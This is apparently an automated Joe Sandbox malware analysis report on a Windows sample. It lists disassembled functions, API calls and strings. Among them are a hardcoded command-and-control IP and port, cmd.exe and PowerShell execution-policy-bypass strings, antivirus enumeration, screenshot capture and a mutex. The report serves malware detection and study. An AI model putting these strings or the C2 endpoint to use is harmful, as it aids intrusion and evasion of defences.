154.82.85.107, xrefs: 100154F5
18852, xrefs: 100154F0

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Cleanupexit$Startupgetaddrinfosocket
String ID: 154.82.85.107$18852
API String ID: 2357443324-1825080259
Opcode ID: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction ID: 8ea8c21000931f3664100cedd98eebcd754df86da53339749fb4ddc4d9d3f251
Opcode Fuzzy Hash: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction Fuzzy Hash: 576128B5904629EFE704DFA4CC88F9DB7B5FB08306F148219E519AB2A0C775DA80CF65

Function 1001063B Relevance: 32.4, APIs: 13, Strings: 5, Instructions: 943
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Smanip.LIBCPMTD ref: 1001073A

Part of subcall function 10005400: HandleT.LIBCPMTD ref: 1000546A

_Smanip.LIBCPMTD ref: 1001084B

Part of subcall function 10005520: DeleteFileA.KERNEL32(1000A58A,?,1000A58A,00000000,?,?,?,0000005C,?), ref: 10005527

Part of subcall function 10005300: ??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
Part of subcall function 10005300: ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1000A5BB,000000FF,?), ref: 10005384
Part of subcall function 10005300: SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Sleep.KERNEL32(000000C8,?,00000000,?,?,?,?,0000005C,?), ref: 10010947
_Smanip.LIBCPMTD ref: 100109A4
_Smanip.LIBCPMTD ref: 10010AD8
Sleep.KERNEL32(000000C8,?,00000000), ref: 10010EF0
_Smanip.LIBCPMTD ref: 1001111B
_Smanip.LIBCPMTD ref: 100111D8
WinExec.KERNEL32 ref: 100112B2
_Smanip.LIBCPMTD ref: 100113C7
_Smanip.LIBCPMTD ref: 10011483
WinExec.KERNEL32 ref: 100115A4
Sleep.KERNEL32(00007530,?,?,?,?,?,?,00000063,?,00000070,?,?,?,?,00000063,?), ref: 100115AF

Part of subcall function 10005740: SetFileAttributesA.KERNEL32(00000000,00000080,?,1000B3D6,?,00000000), ref: 10005751

Strings

cmd.exe /C , xrefs: 100111CE, 100111D1
cmd.exe /C , xrefs: 10011479, 1001147C
\PolicyManagement.xml, xrefs: 10010841, 10010844
powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", xrefs: 1001110E, 10011114
powershell -ExecutionPolicy Bypass -File , xrefs: 100113BA, 100113C0

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Smanip$FileSleep$AttributesExec$?write@?$basic_ostream@Bios_base@std@@D@std@@@std@@DeleteHandleU?$char_traits@V12@
String ID: \PolicyManagement.xml$cmd.exe /C $cmd.exe /C $powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"$powershell -ExecutionPolicy Bypass -File
API String ID: 2403214002-703889769
Opcode ID: 95c285ceadc03ba962dc335a14688626ae0374982d28f6f54252d4d4ce3d691d
Instruction ID: 89a6048f31c0d9b9dc8eed6deba1614e217759769de3e834a74d5456fb66c3b8
Opcode Fuzzy Hash: 95c285ceadc03ba962dc335a14688626ae0374982d28f6f54252d4d4ce3d691d
Instruction Fuzzy Hash: 79B23B75C08298DAEB25CBA8CC45BDEBBB1AF15304F0441D9D14D67292DBB52B88CF62

Function 02712D80 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 02712D9B
InterlockedExchange.KERNEL32(?,00000000), ref: 02712DA7
timeGetTime.WINMM ref: 02712DAD
socket.WS2_32(00000002,00000001,00000006), ref: 02712DDA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 02712E06
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 02712E12
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 02712E31
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 02712E3D
gethostbyname.WS2_32(00000000), ref: 02712E4B
htons.WS2_32(?), ref: 02712E6D
connect.WS2_32(?,?,00000010), ref: 02712E8B

Strings

0u, xrefs: 02712EFC

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: bf54ab78a635b82786b1d67d9feaf3a3facb303badc60f5b0f2d216ffb98c486
Instruction ID: f0e76c9f097766be7ebdac88d725913a4bc82d495d79ff6ff94a7ee23d4420a3
Opcode Fuzzy Hash: bf54ab78a635b82786b1d67d9feaf3a3facb303badc60f5b0f2d216ffb98c486
Instruction Fuzzy Hash: 3E6152B1A40304AFE724DFA8DC45FAAB7B9FF48710F504619FA46A72C0D7B0A904CB65

Function 03072DA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 03072DBB
InterlockedExchange.KERNEL32(?,00000000), ref: 03072DC7
timeGetTime.WINMM ref: 03072DCD
socket.WS2_32(00000002,00000001,00000006), ref: 03072DFA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 03072E26
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 03072E32
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 03072E51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 03072E5D
gethostbyname.WS2_32(00000000), ref: 03072E6B
htons.WS2_32(?), ref: 03072E8D
connect.WS2_32(?,?,00000010), ref: 03072EAB

Strings

0u, xrefs: 03072F1C

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: 60d5030235294248ba38c0ddeeeba06d29389df4dc07966597ea558cc7c68678
Instruction ID: fc034aa22d5c4ca023ea172153e623c84faa2ec27eb1db378dd8e74da381f061
Opcode Fuzzy Hash: 60d5030235294248ba38c0ddeeeba06d29389df4dc07966597ea558cc7c68678
Instruction Fuzzy Hash: 80616171A41308BFD720EFA4DC45FAAB7BCFF48B10F10451AF655AB290D674A9048B64

Function 03076A70 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 141
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(75BF73E0), ref: 03076A94
wsprintfW.USER32 ref: 03076AA7

Part of subcall function 03076910: GetCurrentProcessId.KERNEL32(2DB1A981,00000000,00000000,75BF73E0,?,00000000,030910DB,000000FF,?,03076AB3,00000000), ref: 03076938
Part of subcall function 03076910: OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,030910DB,000000FF,?,03076AB3,00000000), ref: 03076947
Part of subcall function 03076910: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,030910DB,000000FF,?,03076AB3,00000000), ref: 03076960
Part of subcall function 03076910: CloseHandle.KERNEL32(00000000,?,00000000,030910DB,000000FF,?,03076AB3,00000000), ref: 0307696B

_memset.LIBCMT ref: 03076AC2
GetVersionExW.KERNEL32(?), ref: 03076ADB
GetCurrentProcess.KERNEL32(00000008,?), ref: 03076B12
OpenProcessToken.ADVAPI32(00000000), ref: 03076B19
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 03076B3F
GetLastError.KERNEL32 ref: 03076B49
LocalAlloc.KERNEL32(00000040,?), ref: 03076B5D
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 03076B85
GetSidSubAuthorityCount.ADVAPI32 ref: 03076B98
GetSidSubAuthority.ADVAPI32(00000000), ref: 03076BA6
LocalFree.KERNEL32(?), ref: 03076BB5
CloseHandle.KERNEL32(?), ref: 03076BC2
wsprintfW.USER32 ref: 03076C1B

Strings

None/%s, xrefs: 03076BE7
NO/, xrefs: 03076BDF
-N/, xrefs: 03076BEF

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Process$Token$CurrentOpen$AuthorityCloseHandleInformationLocalwsprintf$AllocCountErrorFreeLastVersion_memset
String ID: -N/$NO/$None/%s
API String ID: 3036438616-3095023699
Opcode ID: cad77c8fc20be4e859fed33f70f0594f4b0f748b1522d2c65c0f04b2b4f20312
Instruction ID: ab172de789670cb7c06c4ec83d4a34386504d70e2f41c74bb805c0c84eb0763b
Opcode Fuzzy Hash: cad77c8fc20be4e859fed33f70f0594f4b0f748b1522d2c65c0f04b2b4f20312
Instruction Fuzzy Hash: F041C470D0361CAFDB64EB61CC88FEE77BCEB4A304F044496F6069A141DA36D994CBA5

Function 0307AD10 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 346
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Console,00000000,00020019,?), ref: 0307AD53
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 0307AD73

Strings

Console\0, xrefs: 0307B0DC
Console, xrefs: 0307AD39
IpDatespecial, xrefs: 0307AD6D
%s_bin, xrefs: 0307AE33

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: OpenQueryValue
String ID: %s_bin$Console$Console\0$IpDatespecial
API String ID: 4153817207-1338088003
Opcode ID: a23e2dc8eed72f4c825e27514fdc982d40844e70ae61f4d06c60bd5c12614a42
Instruction ID: 3dd7084fb71e0fd80a53f9b992520c9703abbbe30046f89017acc762620d4e03
Opcode Fuzzy Hash: a23e2dc8eed72f4c825e27514fdc982d40844e70ae61f4d06c60bd5c12614a42
Instruction Fuzzy Hash: 91C1F1B1E02301ABE710EF24DC45FAB73E8BF94704F080569E9499B381E675E915C7A6

Function 03076150 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 222
stringcomregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0307618B
lstrcatW.KERNEL32(030A1F10,0309510C,?,2DB1A981,00000AD4,00000000,75BF73E0), ref: 030761CD
lstrcatW.KERNEL32(030A1F10,0309535C,?,2DB1A981,00000AD4,00000000,75BF73E0), ref: 030761D9
CoCreateInstance.OLE32(03092480,00000000,00000017,0309578C,?,?,2DB1A981,00000AD4,00000000,75BF73E0), ref: 03076220
_memset.LIBCMT ref: 030762CE
wsprintfW.USER32 ref: 03076336
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 0307635F
_memset.LIBCMT ref: 03076376

Part of subcall function 03076050: _memset.LIBCMT ref: 0307607C
Part of subcall function 03076050: CreateToolhelp32Snapshot.KERNEL32 ref: 03076088

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 03076330
Windows Defender IOfficeAntiVirus implementation , xrefs: 03076186, 030761C8, 030761D4, 030763C9, 030763D5, 03076422, 03076436, 0307645A

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: _memset$Createlstrcat$InstanceOpenSnapshotToolhelp32wsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1221949200-1583895642
Opcode ID: b1e57abc67e97b1b4188b789ee13b6cfb5f29a613a1028836fb31880505d6b31
Instruction ID: 26226088bfef6c5f3498ef60b8fea06ffab35cff9729d1c10be6975178149320
Opcode Fuzzy Hash: b1e57abc67e97b1b4188b789ee13b6cfb5f29a613a1028836fb31880505d6b31
Instruction Fuzzy Hash: 7B8193B1A02628AFDB24DB54CC40FAEB7B8EB48704F0445C9F719AB142D6759A41CFA8

Function 0040C490 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 173
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040C6B5,?,?), ref: 0040C4C9
RegOpenKeyExW.ADVAPI32(80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040C6B5,?,?), ref: 0040C512
RegOpenKeyExW.ADVAPI32(80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040C6B5,?,?), ref: 0040C534
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000), ref: 0040C552
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001), ref: 0040C570
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002), ref: 0040C58E
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 0040C5AC
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,0040C698,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040C6B5), ref: 0040C5EC
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,0040C698,?,80000001), ref: 0040C617
RegCloseKey.ADVAPI32(?,0040C69F,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040C698,?,80000001,Software\Embarcadero\Locales), ref: 0040C692

Strings

Software\Embarcadero\Locales, xrefs: 0040C508, 0040C52A
Software\Borland\Locales, xrefs: 0040C584
Software\Borland\Delphi\Locales, xrefs: 0040C5A2
Software\CodeGear\Locales, xrefs: 0040C548, 0040C566

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Open$QueryValue$CloseFileModuleName
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales$Software\Embarcadero\Locales
API String ID: 2701450724-3496071916
Opcode ID: ec5a7b2449134f7d5dfed0d4a478582841b94be27ba8f16343ce714d667d3cea
Instruction ID: b87a276e91c0abd92e6ddb5251d81d319347be4625686c9aa575414df8f97b10
Opcode Fuzzy Hash: ec5a7b2449134f7d5dfed0d4a478582841b94be27ba8f16343ce714d667d3cea
Instruction Fuzzy Hash: B251F575A50208FEDB20EB95CC82FAE77ECDB08704F5045BBB604F62C1D6789A449B5D

Function 03075F40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 88
sleepstringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32(00000000,00000000,2024.12.25), ref: 03075F66
GetLastError.KERNEL32 ref: 03075F6E
Sleep.KERNEL32(000003E8), ref: 03075F85
CreateMutexW.KERNEL32(00000000,00000000,2024.12.25), ref: 03075F90
GetLastError.KERNEL32 ref: 03075F92
_memset.LIBCMT ref: 03075FB9
lstrlenW.KERNEL32(?), ref: 03075FC6
lstrcmpW.KERNEL32(?,03095328), ref: 03075FED
Sleep.KERNEL32(000003E8), ref: 03075FF8
GetModuleHandleW.KERNEL32(00000000), ref: 03076005
GetConsoleWindow.KERNEL32 ref: 0307600F

Strings

2024.12.25, xrefs: 03075F5D, 03075F87
key, xrefs: 03075FD2
open, xrefs: 03075FCD

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutexSleep$ConsoleHandleModuleWindow_memsetlstrcmplstrlen
String ID: 2024.12.25$key$open
API String ID: 2922109467-228899315
Opcode ID: 3b7d99d43ff3704659f2ba6b747e0a1d578b1d09ee2cab37c29f3d0138345d14
Instruction ID: a50c77b84664fbd186a526320e9bebcbc6ab4ff759af401e973e622db429b3b8
Opcode Fuzzy Hash: 3b7d99d43ff3704659f2ba6b747e0a1d578b1d09ee2cab37c29f3d0138345d14
Instruction Fuzzy Hash: D621E772D0A309AFE614EB64EC45B9E73D8ABC4704F14481AE6049B1C1DBB5E909C7EB

Function 004221FC Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 132libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 004222E4

Strings

w, xrefs: 004222BE
_, xrefs: 004222CA
e, xrefs: 0042220A
u, xrefs: 00422202
2, xrefs: 004222D2
2, xrefs: 004222C6
3, xrefs: 004222CE
s, xrefs: 004222C2
s, xrefs: 00422206
r, xrefs: 0042220E
2, xrefs: 00422216
3, xrefs: 00422212

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: LibraryLoad
String ID: 2$2$2$3$3$_$e$r$s$s$u$w
API String ID: 1029625771-3744707172
Opcode ID: e1859733eebfcf2fbf4a0b9e0044de51f9309db16f947cee2db2299615c06c83
Instruction ID: 27e9f1c01ee5c9c2bc4191f5b7c330e1c9f60075257b6c3fc99aa86c3d286dbd
Opcode Fuzzy Hash: e1859733eebfcf2fbf4a0b9e0044de51f9309db16f947cee2db2299615c06c83
Instruction Fuzzy Hash: AA518BB5E10248AFDB00DFA1D9819BE7F71AB45304F50809DE9481F342E6B99B16CBA1

Function 030762B6 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 125stringregistryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 030762CE
wsprintfW.USER32 ref: 03076336
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 0307635F
_memset.LIBCMT ref: 03076376
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,?,?,?), ref: 030763B2
lstrcatW.KERNEL32(030A1F10,?), ref: 030763CE
lstrcatW.KERNEL32(030A1F10,0309535C), ref: 030763DA
RegCloseKey.ADVAPI32(00000000), ref: 030763E3
lstrlenW.KERNEL32(030A1F10,?,2DB1A981,00000AD4,00000000,75BF73E0), ref: 03076427
lstrcatW.KERNEL32(030A1F10,030953D4,?,2DB1A981,00000AD4,00000000,75BF73E0), ref: 0307643B

Strings

CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}, xrefs: 03076330
Windows Defender IOfficeAntiVirus implementation , xrefs: 030763C9, 030763D5, 03076422, 03076436, 0307645A

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$CloseOpenQueryValuelstrlenwsprintf
String ID: CLSID\{%.8X-%.4X-%.4X-%.2X%.2X-%.2X%.2X%.2X%.2X%.2X%.2X}$Windows Defender IOfficeAntiVirus implementation
API String ID: 1671694837-1583895642
Opcode ID: d3500597e9f0de30b5f556fbf75ef8b8db5340a52c4155b0b347c8092c7493ae
Instruction ID: a262b490043bd0cfd999fc0f304e2001f5f97680e64d9433a9a93639965654f6
Opcode Fuzzy Hash: d3500597e9f0de30b5f556fbf75ef8b8db5340a52c4155b0b347c8092c7493ae
Instruction Fuzzy Hash: 5941A4F1A01668AFDB24DB94CC50FEEB7B8AB48704F0441C9F349A7182D6759A80CF68

Function 0307C060 Relevance: 19.7, APIs: 13, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000002,?,2DB1A981,?,00000000,?), ref: 0307C09E
GlobalLock.KERNEL32 ref: 0307C0AA
GlobalUnlock.KERNEL32(00000000), ref: 0307C0BF
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 0307C0D5
EnterCriticalSection.KERNEL32(0309FB64), ref: 0307C113
LeaveCriticalSection.KERNEL32(0309FB64), ref: 0307C124

Part of subcall function 03079DE0: GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 03079E04
Part of subcall function 03079DE0: GdipDisposeImage.GDIPLUS(?), ref: 03079E18

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 0307C14C

Part of subcall function 0307A460: GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 0307A48D
Part of subcall function 0307A460: _free.LIBCMT ref: 0307A503

GetHGlobalFromStream.OLE32(?,?), ref: 0307C16D
GlobalLock.KERNEL32 ref: 0307C177
GlobalFree.KERNEL32 ref: 0307C18F

Part of subcall function 03079BA0: DeleteObject.GDI32 ref: 03079BD2
Part of subcall function 03079BA0: EnterCriticalSection.KERNEL32(0309FB64,?,?,?,03079B7B), ref: 03079BE3
Part of subcall function 03079BA0: EnterCriticalSection.KERNEL32(0309FB64,?,?,?,03079B7B), ref: 03079BF8
Part of subcall function 03079BA0: GdiplusShutdown.GDIPLUS(00000000,?,?,?,03079B7B), ref: 03079C04
Part of subcall function 03079BA0: LeaveCriticalSection.KERNEL32(0309FB64,?,?,?,03079B7B), ref: 03079C15
Part of subcall function 03079BA0: LeaveCriticalSection.KERNEL32(0309FB64,?,?,?,03079B7B), ref: 03079C1C

GlobalSize.KERNEL32(00000000), ref: 0307C1A5
GlobalUnlock.KERNEL32(?), ref: 0307C221
GlobalFree.KERNEL32 ref: 0307C249

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$Stream$CreateEnterGdipLeave$FreeFromImageLockSizeUnlock$AllocBitmapDeleteDisposeEncodersGdiplusObjectShutdown_free
String ID:
API String ID: 1483550337-0
Opcode ID: 3cb2941e5f7c67e7c26ba028ae734ded72ac28e3783a4e698a2aaa9ef9ae6846
Instruction ID: 500e258025cf5250dfa45f8ef245df4a32205c04ee77da8b3adafbc469acd3dd
Opcode Fuzzy Hash: 3cb2941e5f7c67e7c26ba028ae734ded72ac28e3783a4e698a2aaa9ef9ae6846
Instruction Fuzzy Hash: 5B6139B5D0221CAFDB10EFA8D8849DEBBB8FF89710F10852AE515EB241DB359905CF94

Function 03076490 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 144registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 030764C2
RegOpenKeyExW.KERNEL32(80000001,Software\Tencent\Plugin\VAS,00000000,000F003F,?), ref: 030764E2
RegQueryInfoKeyW.ADVAPI32 ref: 03076524
_memset.LIBCMT ref: 03076560
_memset.LIBCMT ref: 0307658E
RegEnumKeyExW.ADVAPI32 ref: 030765BA
lstrlenW.KERNEL32(?,?,?,?,00000000,00000AD4,75BF73E0), ref: 030765C3
lstrlenW.KERNEL32(?,?,?,?,00000000,00000AD4,75BF73E0), ref: 030765D5
RegCloseKey.ADVAPI32(?,00000000,00000AD4,75BF73E0), ref: 03076625
